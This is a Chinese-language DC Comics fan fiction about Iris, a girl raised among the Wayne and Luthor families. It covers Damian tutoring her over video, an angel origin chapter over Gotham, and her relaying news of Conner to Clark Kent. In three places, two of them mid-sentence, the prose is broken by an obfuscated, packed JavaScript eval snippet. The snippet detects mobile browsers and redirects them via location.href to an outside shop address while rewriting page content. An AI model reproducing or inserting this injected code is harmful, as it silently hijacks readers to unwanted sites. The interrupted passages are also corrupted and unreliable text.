因为他还是她的父亲,她全身心的爱着她的父亲。爱着她与自己世界的系带。 26.艾瑞斯·韦恩3 艾瑞斯在大都会度过相当快乐的一段时光,大多时候她都是自己一个人。 她的学是在市中心上的,一开始她是有家庭教师一对一培养的。 当然是她的哥哥提姆和达米安。 哦…… 艾瑞斯真的好疲累。 每天都要上网课。 不过有意思的是提姆偶尔会吐槽达米安这个不乐意上学的人居然乐意上课。 达米安对艾瑞斯的学业非常上心,总是会担心艾瑞斯进度慢无法在对的年龄上对的年级。 —— 达米安·韦恩讨厌很多事情。 讨厌愚蠢的人,讨厌无意义的社交,讨厌别人用那种“你年纪还小”的眼神看他。他回到韦恩庄园不到一年,这座大宅里的一切都让他觉得格格不入。 尤其是那个女孩。 艾瑞斯。 比他小,比他弱,比他更晚来到这个家。她总是试图靠近他,用那双蓝眼睛看着他,像是想说什么。达米安不喜欢那种目光——太软了,太亮了,像是什么都不懂。 她确实什么都不懂。 不知道刺客联盟是什么,不知道他经历过什么,不知道他为什么总是冷着脸。她只是凑过来,想拉他的手,想让他陪她玩。一起抱团。 达米安躲开了。 一次。两次。三次。 “离我远点。”他说。 艾瑞斯看着他,眨眨眼睛。 “为什么?” “因为你太弱了。” 艾瑞斯低下头,看着自己的手。那双小手,什么也做不了。不能打架,不能保护自己,连走路都慢吞吞的。 只是点点头,转身走了。 达米安看着那个小小的背影,心里有什么东西动了一下。很轻,像羽毛划过水面。 但他没有叫住她。 ——— 后来艾瑞斯还是会来。 不是来拉他的手,不是来让他陪她玩。就是出现。在他练刀的时候,蹲在角落里看着。在他看书的时候,坐在门口的地板上。在他吃饭的时候,坐在离他最远的椅子上,偷偷看他。 达米安知道她在看。 他不理。 但有一天,他练刀的时候,动作太快,刀脱手了。 刀飞出去,落向那个蹲在角落里的身影。 达米安的心跳停了一拍。 然后他看到她——没有躲,没有哭,只是静静地看着那把刀落在她旁边,插进地板里,离她的脸只有几寸。 她眨了眨眼睛。 转头看他。 “你的刀。”她说。 达米安站在那里,心跳慢慢恢复。 “你不怕?” 艾瑞斯想了想。 “我刚刚就已经吓傻了。” 达米安不知道该说什么。 沉默了一会儿。 “下次躲远点。”他说。 艾瑞斯点点头。 下一次,她还是蹲在那个角落。 ——— 那些记忆像是隔着一层雾。 达米安坐在书房里,面前的屏幕上,艾瑞斯正低着头写什么。她坐在堪萨斯的某个房间里,阳光从窗户照进来,落在她脸上。 她瘦了很多。头发长了。眼睛还是那双眼睛,蓝得像晴天的海。 但她不记得他了。 不记得任何人。 达米安盯着屏幕,看着她的笔尖在纸上移动。 “你在看什么?” 提姆的声音从身后传来。达米安没有回头。 “她的作业。” 提姆走过来,看了一眼屏幕。 “写得怎么样?” “太慢。”达米安说,“这个进度,明年都上不了九年级。” 提姆笑了一下。 “你以前可没这么关心过学习。” 达米安没有说话。 ——— 他确实不关心。 但他记得那些事。 记得她蹲在角落里看他练刀。记得她递过来的小鳄鱼玩偶。记得她牵着他的手说“带我回家吧”。 记得她叫他哥哥。 现在她不记得了。 但她还在学习。还在努力。还在用那双蓝眼睛看着屏幕,听他讲那些她可能根本听不懂的东西。 “这里。”达米安指着屏幕,“这个公式写错了。” 艾瑞斯抬起头,看着摄像头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306225|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪里?” 达米安又指了一遍。 艾瑞斯低头看了一会儿,然后划掉,重写。 “对了?”她问。 “对了。” 艾瑞斯点点头,继续往下写。 ——— 提姆在旁边看着。 “我都不知道,”他说,“你这么有耐心。” “tt。” “那你为什么要教她?她有别的老师。” 达米安没有回答。 他只是看着屏幕里那个低着头的女孩。 阳光落在她脸上。她的眉头微微皱着,像是不太明白下一道题。 “达米安?” “她听那些白痴会落后赶不上同龄人”达米安说,“别让她在落在后面了。” …… 达米安没有说话。 ——— 就这样。 不够吗? 她太弱了,但她想学。她什么都记不得了,但她还在努力。她坐在离他很远的屏幕那头,用那双蓝眼睛看着他,等他讲那些枯燥的公式。 达米安不知道这算什么。 但他记得很久以前,她也是这样看着他的。那时候她在角落里,他在练刀。她什么都不说,就只是看着。 现在她也不说什么。 就只是听着,学着,努力着。 ——— “达米安。” 艾瑞斯的声音从屏幕里传来。 达米安抬起头。 “这道题,”她指着作业本,“不会。” 达米安看了一眼。 “先读题。” 艾瑞斯低下头,读了一遍。 “还是不会。” 达米安叹了口气。 他拿起笔,开始在纸上演算。 提姆悄悄退了出去。 走到门口的时候,他回头看了一眼。 达米安正在讲题,声音很平,没什么感情。但他在讲。一句一句,慢慢讲。艾瑞斯听着,偶尔点点头。 阳光落在他们之间。 隔着屏幕,隔着几百公里,隔着十年的空白。 艾瑞斯·韦恩……他的妹妹。 27.艾瑞斯·韦恩·起源 她们是圣洁的代名词。 天父的造物,光的碎片,自永恒中降下的第一缕晨曦。她们生于赞美,长于祷告,心灵纯净如初雪,目光悲悯如深海。她们不曾尝过苦痛,不曾见过黑暗,不曾知晓那座名为“人间”的城池里,藏着怎样的泪水与血。 天使。 艾瑞斯俯瞰着哥谭。 ——— 夜很深了。 这座城市在她脚下铺展,像一本被血与泪浸透的旧书。高楼的尖顶刺向天空,像无数双向上伸着的手;暗巷的深处藏着叹息,像永远不会愈合的伤口。 她站在那里。白色的袍子在夜风里轻轻飘动,黑色的长发垂落肩头。她的羽翼收拢在身后,最柔软的绒羽覆着眼睑,像一扇合上的门。 她在听。 听哥谭的心跳。 ——— 那心跳很沉。 沉的像被什么压着。每一次跳动都拖泥带水,都带着锈迹,都像是从很深很深的地方挣扎着浮上来。但它在跳。一直在跳。在这座被诅咒的城里,它从未停过。 艾瑞斯听着听着,羽翼轻轻颤动。 她我虽然行过死荫的幽谷,也不怕遭害,因为你与我同在;你的杖,你的竿,都安慰我。——取自《诗篇》第23篇 她想,这座城市行过的,何止是死荫的幽谷。 她见过的。那些巷子里的血,那些屋顶上的身影,那些在黑夜里穿行、在白日里隐去的人。他们行过最深的山谷,最暗的深渊,最漫长的夜。 但他们还在行走。 ——— 风忽然停了。 艾瑞斯睁开眼睛。 羽翼从眼前缓缓展开,露出那双蓝色的眼眸。宝石一样的蓝,深海一样的蓝,倒映着下方那一片灯火。 她看见他了。 那个在屋顶间穿行的人。黑色的披风像折断的翅膀,沉沉地垂着。他的步伐很稳,每一步都踩在边缘,每一步都像是要坠下去,又像是被什么托住。 他在追什么。或者被什么追着。 艾瑞斯看不清。 她只看见那双眼睛。 美丽的蓝色。 ——— 但那等候耶和华的必从新得力。他们必如鹰展翅上腾;他们奔跑却不困倦,行走却不疲乏。——取自《以赛亚书》第40章 他奔跑却不困倦。 但艾瑞斯看见了。她看见他肩上的东西。那座城市,那些人,那些永远不会结束的夜晚。它们压着他,磨着他,日复一日,年复一年。 他没有鹰的翅膀。 他只有那件披风。 他的心在为哥谭跳动。 ——— 哥谭在呼吸。 那些叹息,那些哭泣,那些在黑暗里抱紧自己的人,那些在高楼顶端纵身一跃的人。他们的声音汇在一起,成了一片海。 海在说话。 在祈求。 这座城市从不祈祷。这是艾瑞斯听过的话。说这话的人是对的——哥谭不向神祈祷,不向天父祈求,不信那些虚无缥缈的救赎。 但她听见了。 那些不是祈祷的祈祷。那些“再坚持一晚”的低语,那些“还有人在等”的念头,那些藏在最深的夜里、最冷的风里、最绝望的时刻里,依然亮着的一点光。 它们在说话。 在求她。 ——— 艾瑞斯低下头。 她看着那个在屋顶间穿行的人。看着他跳过一个又一个缺口,看着他落在一座钟楼上,站在最高处,俯瞰着这片他誓死守护的土地。 风很大。 他的披风被吹起来,猎猎作响。 他站在那里,像一座雕像。 ——— 人为朋友舍命,人的爱心没有比这个大的。——取自《约翰福音》第15章 她想起那些天使之间流传的话。有些天使会被赐予那些值得被爱的人。那些天使被称为礼物。 哥谭在所求一份礼物送给漆黑的身影。 ——— 她展开羽翼。 白色的翅膀在夜空中铺开,像两扇门被推开。月光落在羽毛上,每一片都泛着柔和的光。那些光落下去,落向那座城市,落向那个站在钟楼上的人。 他抬起了头。 面具后面的眼睛望向夜空。 他看不见她。凡人看不见天使。但他感觉到了什么。他站在那里,很久很久,一动不动。 ——— 艾瑞斯看着他。 看着那双蓝色的眼睛,和她自己的一样蓝。 ——— 风起了。 艾瑞斯的羽翼轻轻颤动。她的身影很轻,很柔,像是从很远很远的地方传来。 她听见他的心跳,听见这座城市的叹息,听见那些从不祈祷的人在深夜里无声的祈求。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312668|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她低下头。 她看见了。 看见他的奔跑,他的疲惫,他的永不放弃。 ——— 凡劳苦担重担的人可以到我这里来,我就使你们得安息。——取自《马太福音》第11章 然后她抬起手。 那些光从她指尖流下去,流向那个站在钟楼上的人。很轻,很淡,像晨雾,像细雨,像一个凡人看不见的拥抱。 他不会知道她。 她想。 他不会看见她。不会听见她。不会在任何经卷里找到她的名字。 她顿了顿。 但她看着他。 ——— 从今以后,他不在是独自一人。 她想。 从今以后,他在高处时,她在;他在低谷时,她在;他奔跑时,她在;他停下时,她在。 风把她的话吹散,吹向四面八方。 他在夜中时穿梭时,她会为他吹起微风的风让他变得更加轻盈。他坠落时,她牵起那漆黑的披风裹住下坠的身躯。 他看不见她的时候,但她仍旧在。 ——— 她看着那个站在钟楼上的人。 他动了。转身,跳下钟楼,披风在风中展开,像一只真正的翅膀。他消失在夜色里,继续他的奔跑。 艾瑞斯看着他远去的方向。 她会应哥谭的要求——成为一份礼物。 ——— 她立下这誓言。 她说。 “在天地之间,在日月之前,在众天使和凡人的见证之下。” “我将守护他。” “无论黑夜多长,无论路途多远,无论他要面对的是什么。” “我将守护他。” “因为我听见了。” 她说。 “听见这座城市的声音,听见那个从不祈祷的人在深夜里心灵破碎的声音。” 她低下头。 看着那座灰扑扑的城市,看着那些在黑暗中穿行的人们,看着那个已经消失在远方的黑色身影。 她在这里。 立下不为人知的誓言。 高尚的人啊,哥谭为了你求得一份礼物;而一位天使为你的高尚而动容。 至此,圣光照耀着你愿你行程不再忐忑,黑暗永不侵腐你的内心。 若心灵产生裂隙,天使会为其缝补。——一份哥谭的礼物。 28.艾瑞斯·卢瑟7 当凝视太阳太久之后,就会想起月的柔情。 艾瑞斯在学校的花园里散步。春天的阳光暖洋洋的,落在那些刚冒出头的花苞上。她走得很慢,因为走不快。但这样也好,可以多看一会儿。 康纳说,这次会在大都会待三天。 三天。 她数了数,足够见一次面,也许两次。足够说一些话,也许什么也不说。足够看看他是不是又瘦了,眼睛里是不是又多了什么她看不懂的东西。 她在一张长椅上坐下,等着。 ——— 康纳来了。 他从街角转过来的时候,艾瑞斯就看见他了。背着包,背包鼓鼓囊囊的,不知道装了些什么。他走路的样子有点急,像是一直在赶路,停不下来。 但看到她的时候,他慢下来了。 一步一步,走近。 然后他笑了。 ——— “艾瑞斯。” 他在她面前蹲下来,把那个大包放在地上,拉开拉链。 艾瑞斯低头看着。 一个东西。两个东西。三个东西。 他从包里往外拿,像一只旅行青蛙在清点一路捡来的宝贝。一块石头,说是从某个山脚下捡的,颜色很特别。一张明信片,上面印着另一个城市的风景。一个小木雕,刻的是他不知道名字的动物,但觉得很可爱。一包糖,据说是那个地方的特产,他尝过,不太甜,她觉得应该会喜欢。 艾瑞斯看着那些东西堆在她面前。 越来越多。 “你……”她开口。 康纳抬起头。 “怎么了?不喜欢?不喜欢没关系,我可以——” “喜欢。”艾瑞斯说。 康纳愣了一下。 然后他又笑了。 ——— 他不知道她喜欢什么。买这些东西的时候,他也不知道。只是在看到的那一瞬间,会想起她。想起她的笑容。想起她笑起来的时候,眼睛会弯成两道小小的月亮。 他想,她看到这些,一定会开心吧。 也许东西不对,也许她并不喜欢石头、明信片、小木雕。但她看到他在送,一定会笑。 她真该多笑笑的。 康纳觉得,艾瑞斯是那种爱笑的性格。她笑起来很好看,像阳光落在水面上。但她总是想太多。想那些她不该想的事,想那些让她眼睛暗下去的事。 他也这样。 所以他总是没来由地找她说话。说那些有的没的,说那些根本不需要说的话。只是想让她分心,不再想那些事。 ——— “我也准备了礼物。” 艾瑞斯从包里拿出一个本子。封皮是素的,什么也没写。 “日记本?”康纳接过去。 “嗯。”艾瑞斯说,“我想……我们可以交换日记。” 康纳愣了一下。 交换日记? 那好像是很亲密的人才会做的事。要互相知道对方在想什么,要互相分享那些藏在心里的话,要—— “你想写什么就写什么。”艾瑞斯说,“不想写的就不写。” 康纳低头看着那个本子。 素净的封皮,厚厚的纸张,可以写很多字。 “你希望我写?”他问。 艾瑞斯点点头。 康纳沉默了一会儿。 他想起很多事。那些一个人在路上想的,那些在深夜睡不着想的,那些他不知道该跟谁说的。它们堆在心里,越堆越多,越来越沉。 “好。”他说。 ——— 艾瑞斯看着他。 阳光落在他们之间。他的眉头微微皱着,像是又在想什么。 那个表情,她见过很多次。 在镜子里。 她自己烦闷的时候,也是这样皱起眉。她自己想太多的时候,也是这样垂下眼睛。她自己不知道该说什么的时候,也是这样沉默很久,然后说一个好。 血脉相连的人,总是能感受到对方心里的颤动。 她不知道康纳有没有注意到。 但她注意到了。 他逃避的样子,他沉默的样子,他笑着说没事的样子。她都看见了。 她不介意他逃避。 但她希望,有一天,阳光能照进他的世界。 ——— 黄昏的时候,他们坐在球场边的长椅上。 康纳去接电话了。艾瑞斯一个人坐着,看着天边一点点变红。 有人走过来。 她抬起头。 一个戴眼镜的男人站在面前,有些拘谨,有些不好意思。 克拉克·肯特。 记者。 也是超人。 也是—— 艾瑞斯知道他是谁。从大都会那里知道,从血脉里知道。但此刻,他只是个看起来有些笨拙的父亲。 “你好,”他说,“请问,可以坐吗?” 艾瑞斯点点头。 ——— 艾瑞斯坐在后方视野更加开阔又高的位子上 “你是康纳的朋友?”他问。 艾瑞斯点点头。 “他……他怎么样?”克拉克问,声音有点低,“我是说,他最近好吗?” 艾瑞斯看着他。 这个父亲,想了解自己的儿子,却不知道怎么开口。他不知道康纳去了哪里,不知道康纳在想什么,不知道康纳那些沉默里藏着什么。他只能问一个陌生的女孩。 “你想知道什么?”艾瑞斯问。 克拉克愣了一下。 “什么都行。”他说,“他愿意说的什么都行。” 艾瑞斯想了想。 “我去买两个甜筒,那讲起来可能会比较长。”她站起来,“你等我一下。” ——— 她走得很慢。克拉克看着那个背影,瘦瘦小小的,走路很慢,但很稳。 过了一会儿,她回来了。 手里拿着两个甜筒。 一个递给克拉克,一个自己拿着。 克拉克接过来,不知道该说什么。 “谢谢。” 艾瑞斯摇摇头。 他们在黄昏里坐着,一人一个甜筒,隔着一段距离。 ——— 艾瑞斯开口了。 她说起康纳。说他勇敢,说他一个人去了很多地方。说他见识广,知道很多她不知道的事。说他很热情虽然表情上是一副很不高兴,会给迷路的人指路。 她说得很慢,一句一句,像一条缓缓流淌的小河。 克拉克听着。 他不知道这些。 他不知道康纳去过那些地方。不知道康纳会给人指路。 “他很好不是吗?”艾瑞斯说,“你们一定很喜欢他吧。” 克拉克沉默着。 手里的甜筒在融化,一滴一滴落下去。 ——— 同一片黄昏下。 艾瑞斯坐在后几排的高位上,克拉克坐在第一排。他们连成一条对角线,一人一个甜筒。 女孩的声音很柔,很缓。 她说的话,克拉克记住了。 —— 叔叔。 如果太阳的注视太过热烈,用月光温柔的引导吧。 …… —— 克拉克·肯特是在那个黄昏之后第三天收到第一条短信的。 陌生号码。很短。 “康纳今天买了一个热狗,站在街角吃完。他说味道很像小时候吃过的那种,他第一次吃是他的弟弟请他吃的。” 克拉克盯着那几行字,看了很久。 他不知道该怎么回。说谢谢?说太好了?说这是他很久没听到的事?最后他只是打了几个字:“谢谢你告诉我。” 那边很快回了一个笑脸的表情。 从那之后,短信就断断续续地来了。 ——— 有时候是文字。 “康纳在公园里坐了半个小时,看一群鸽子。他说他喜欢看它们飞起来的样子。” “康纳今天说起堪萨斯的玉米地,那是你们的家吗?他说那里的风和其他地方不一样。” “他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314413|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来很喜欢那。” 有时候是照片。 康纳站在某个街角,背对着镜头,看不清表情。康纳低头看手机,阳光落在他的侧脸上。康纳的背影,走得很慢,像是终于不那么急着赶路了。 克拉克看着那些照片,一张一张存下来。 他不知道那个女孩是怎么拍到的,不知道她怎么能在康纳不注意的时候按下快门。他只知道,那些照片里,康纳的样子,是他很久没见过的。 轻松一点的。 不那么紧绷的。 像是终于可以喘口气了。 ——— 克拉克开始期待那些短信。 每天早上醒来,第一件事就是看手机。有时候有,有时候没有。有的时候就反复看,看到能背下来。没有的时候就等,等着那个小小的提示音响起。 他知道这很奇怪。 一个成年男人,一个记者,一个超人,等着一个女孩的短信。等着她告诉他,他的儿子今天做了什么,去了哪里,有没有笑。 但他控制不住。 那些碎片一样的消息,拼凑起来,成了他从未见过的康纳。勇敢的康纳,温柔的康纳,会看鸽子、会想家的康纳。 他感激那个女孩。 世界上最好的女孩。 ——— 艾瑞斯不知道克拉克在想什么。 她只是分享。那些她看到的、感觉到的、觉得应该让他知道的事。她不知道这些对克拉克意味着什么,只知道他每次都会回。很短,但很快。 有一天,康纳说起堪萨斯。 说起玛莎奶奶的派。说起那个味道,热的,甜的,咬下去会流心。说起他小时候总想吃,但后来就不怎么回去了。 艾瑞斯听着。 “你现在想吃吗?我真的好好奇它的味道,在你的描述里它真太诱人了。康纳。”她问。 康纳愣了一下。 ——— 康纳在艾瑞斯的鼓动下拨打出电话。 玛莎的声音从听筒里传来,絮絮叨叨的,说他瘦了,说他该回来看看,说她想他了。最后,像是顺便提了一句,她刚做了派,苹果的,热乎的,没人吃怪可惜的。 康纳握着手机,站在那里。 很久。 然后他说:“是吗,真的很巧。我过几天会回来,我有个朋友能带她一起去吗?” ——— 玛莎在厨房里忙活,说要再做两个派,要收拾房间,要准备好吃的。乔纳森在旁边打下手,笑得合不拢嘴。 康纳要回来了。 还要带朋友。 一个女孩。 ——— 艾瑞斯收到一条短信。 克拉克发的。 “谢谢你。” 只有两个字。 艾瑞斯看着那两个字,想象着电话那头的表情。那个笨拙的父亲,此刻大概正在厨房里转圈,不知道该做什么,只知道笑。 她回了一个笑脸。 ——— 黄昏的时候,艾瑞斯站在窗边。 大都会的天边烧成一片橘红,很暖,很慢。 她想起康纳。想起他今天说话的样子。有点紧张,有点期待,有点不敢想又忍不住想。 她想,派应该是甜的。 家应该是暖的。 他应该是高兴的。 ——— 手机又响了。 克拉克发来一张照片。 堪萨斯的农场。玉米地。红色的谷仓。一栋小房子,窗户亮着灯。 “欢迎你来。”他说。 艾瑞斯看着那张照片。 很久。 然后她轻轻笑了一下。 —— 晚间她回到了家。父亲并不在。 他开始忙碌他的基因实验与竞选。 卢瑟豪宅很大,艾瑞斯细细的探索着着。 然后她发现了一座花园。 虽然他的主人并不在意他,但是在园丁的打理下十分美丽。 里面还种着鸢尾花,蓝色的鸢尾花在风中摇曳。